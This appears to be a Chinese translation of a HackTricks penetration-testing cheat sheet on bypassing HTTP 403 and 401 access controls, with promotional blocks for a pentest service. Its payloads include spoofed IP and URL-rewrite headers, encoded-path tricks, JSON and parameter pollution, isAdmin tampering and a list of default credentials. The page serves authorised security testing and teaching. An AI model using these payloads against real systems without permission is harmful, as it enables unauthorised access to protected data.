hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

8.1 KiB
Raw Blame History

403和401绕过

从零开始学习AWS黑客攻击直到成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试拥有20多个工具和功能从侦察到报告。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块以便他们有更多时间深入挖掘、弹出shell并享受乐趣。

{% embed url="https://pentest-tools.com/" %}

HTTP动词/方法Fuzzing

尝试使用不同的动词来访问文件:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • 检查响应头,可能会给出一些信息。例如,对HEAD200响应带有Content-Length: 55意味着HEAD动词可以访问信息。但您仍需要找到一种方法来泄露该信息。
  • 使用HTTP头像X-HTTP-Method-Override: PUT可以覆盖使用的动词。
  • 使用**TRACE动词,如果你非常幸运,也许在响应中你可以看到由中间代理添加的头部**,这可能很有用。

HTTP头部Fuzzing

  • 更改Host头部为一些任意值(在这里有效

  • 尝试使用其他用户代理来访问资源。

  • Fuzz HTTP头部尝试使用HTTP代理头部HTTP基本认证和NTLM暴力破解只用几种组合和其他技术。为此我创建了工具fuzzhttpbypass

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

如果路径受到保护,您可以尝试使用这些其他头部绕过路径保护:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • 如果页面位于代理之后,可能是代理阻止您访问私有信息。尝试滥用HTTP请求走私 逐跳头部
  • Fuzz 特殊HTTP头部寻找不同的响应。
  • Fuzz特殊HTTP头部同时fuzzing HTTP方法
  • 移除Host头部,也许您将能够绕过保护。

路径Fuzzing

如果_path_被阻止

  • 尝试使用_/_%2e/path _(如果访问被代理阻止,这可能绕过保护)。也尝试_** /%252e**/path (双重URL编码)
  • 尝试Unicode绕过/%ef%bc%8fpath (URL编码字符像"/")所以当编码回来时会是_//path_也许你已经绕过了_path_名称检查
  • 其他路径绕过
  • site.com/secret > HTTP 403 Forbidden
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • 使用这个列表在以下情况中:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • 其他API绕过
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON参数污染)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)

参数操作

  • 更改参数值:从 id=123 --> id=124
  • 向URL添加额外参数?id=124 —-> id=124&isAdmin=true
  • 移除参数
  • 重新排序参数
  • 使用特殊字符。
  • 在参数中进行边界测试 - 提供像 -234099999999 这样的值(仅举几个例子)。

协议版本

如果使用HTTP/1.1 尝试使用1.0 或甚至测试是否支持2.0

其他绕过

  • 获取IPCNAME域名并尝试直接联系
  • 尝试压力测试服务器发送常见的GET请求对这个人使用Facebook有效)。
  • 更改协议从http到https或者从https到http
  • 前往 https://archive.org/web/ 检查过去是否该文件是全球可访问的

暴力破解

  • 猜测密码测试以下常见凭据。你知道关于受害者的一些信息吗或者CTF挑战的名字
  • 暴力破解****尝试基本、摘要和NTLM认证。

{% code title="常见凭据" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自动化工具

即刻可用的漏洞评估与渗透测试设置。从任何地方运行完整的渗透测试拥有20多个从侦察到报告的工具和功能。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块以便他们有更多时间深入挖掘、弹出shell并享受乐趣。

{% embed url="https://pentest-tools.com/" %}

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客技术

其他支持HackTricks的方式